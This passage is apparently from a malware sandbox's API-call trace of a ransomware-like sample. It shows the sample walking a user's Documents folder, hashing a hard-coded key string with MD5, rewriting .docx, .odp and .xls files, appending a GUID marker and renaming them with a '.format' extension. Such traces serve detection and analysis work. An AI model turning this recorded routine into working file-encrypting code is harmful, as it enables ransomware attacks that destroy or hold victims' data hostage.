ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.541] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.542] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x425460b0, ftCreationTime.dwHighDateTime=0x1d4d2fa, ftLastAccessTime.dwLowDateTime=0x3de3c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d0d0, ftLastWriteTime.dwLowDateTime=0x3de3c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d0d0, nFileSizeHigh=0x0, nFileSizeLow=0x1607c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0yRPUT6TDREHeWByR4rP.docx", cAlternateFileName="0YRPUT~1.DOC")) returned 1 [0067.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.542] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\0yRPUT6TDREHeWByR4rP.docx") returned=".docx" [0067.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\0yRPUT6TDREHeWByR4rP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\0yrput6tdrehewbyr4rp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.542] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=90236) returned 1 [0067.542] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.544] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16056, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.544] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.545] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.545] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1607c, lpOverlapped=0x0) returned 1 [0067.546] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.546] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.546] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.546] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0067.547] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.547] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.547] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.547] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.547] GetLastError () returned 0x0 [0067.547] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.547] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0067.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16080) returned 0x32b2f40 [0067.547] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.547] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x16077, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x16077, lpOverlapped=0x0) returned 1 [0067.548] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.548] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1607c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.548] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.548] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.548] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.548] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.548] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.548] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.548] CloseHandle (hObject=0x5c8) returned 1 [0067.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.550] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\0yRPUT6TDREHeWByR4rP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\0yrput6tdrehewbyr4rp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\0yRPUT6TDREHeWByR4rP.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\0yrput6tdrehewbyr4rp.docx.format")) returned 1 [0067.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.550] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.551] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7521da0, ftCreationTime.dwHighDateTime=0x1d4d552, ftLastAccessTime.dwLowDateTime=0xf18700e0, ftLastAccessTime.dwHighDateTime=0x1d4cbdb, ftLastWriteTime.dwLowDateTime=0xf18700e0, ftLastWriteTime.dwHighDateTime=0x1d4cbdb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="18tCh2fbWO9uqJ4SH0r", cAlternateFileName="18TCH2~1")) returned 1 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ab710 [0067.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac0a0 [0067.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac018 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac1b0 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x30cd888 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.552] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe919c370, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0x55c63260, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x55c63260, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FZM1YvnX6BDzLLQ_", cAlternateFileName="FZM1YV~1")) returned 1 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac1b0 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac1b0 | out: hHeap=0x5d0000) returned 1 [0067.552] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8410a770, ftCreationTime.dwHighDateTime=0x1d4c8a5, ftLastAccessTime.dwLowDateTime=0xb8dfb3d0, ftLastAccessTime.dwHighDateTime=0x1d4c7ea, ftLastWriteTime.dwLowDateTime=0xb8dfb3d0, ftLastWriteTime.dwHighDateTime=0x1d4c7ea, nFileSizeHigh=0x0, nFileSizeLow=0x8551, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FZYI0v6_buDm-d9O.odp", cAlternateFileName="FZYI0V~1.ODP")) returned 1 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.552] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZYI0v6_buDm-d9O.odp") returned=".odp" [0067.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZYI0v6_buDm-d9O.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzyi0v6_budm-d9o.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.552] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=34129) returned 1 [0067.552] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.555] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x852b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.555] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.556] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.556] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8551, lpOverlapped=0x0) returned 1 [0067.556] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.556] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.556] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.556] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.557] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.557] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.557] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.557] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.557] GetLastError () returned 0x0 [0067.557] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.557] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8550) returned 0x32b2f40 [0067.557] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.557] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x854c, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x854c, lpOverlapped=0x0) returned 1 [0067.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.557] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8551, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.558] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.558] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.558] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.558] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.558] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.558] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.558] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.558] CloseHandle (hObject=0x5c8) returned 1 [0067.559] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.559] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.559] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.559] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZYI0v6_buDm-d9O.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzyi0v6_budm-d9o.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZYI0v6_buDm-d9O.odp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzyi0v6_budm-d9o.odp.format")) returned 1 [0067.559] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.559] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.560] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.560] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44de8980, ftCreationTime.dwHighDateTime=0x1d4caa0, ftLastAccessTime.dwLowDateTime=0x36939e50, ftLastAccessTime.dwHighDateTime=0x1d4c71d, ftLastWriteTime.dwLowDateTime=0x36939e50, ftLastWriteTime.dwHighDateTime=0x1d4c71d, nFileSizeHigh=0x0, nFileSizeLow=0x7f71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kv9O7qYcn-HRyPYLby.xls", cAlternateFileName="KV9O7Q~1.XLS")) returned 1 [0067.560] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.560] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.560] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.560] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\Kv9O7qYcn-HRyPYLby.xls") returned=".xls" [0067.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\Kv9O7qYcn-HRyPYLby.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\kv9o7qycn-hrypylby.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.560] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=32625) returned 1 [0067.560] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.563] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7f4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.563] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.564] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.564] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7f71, lpOverlapped=0x0) returned 1 [0067.564] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.564] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.564] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.564] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.565] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.565] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.565] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.565] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.565] GetLastError () returned 0x0 [0067.565] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.565] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.565] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7f70) returned 0x32b2f40 [0067.565] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.565] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x7f6c, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x7f6c, lpOverlapped=0x0) returned 1 [0067.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.565] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7f71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 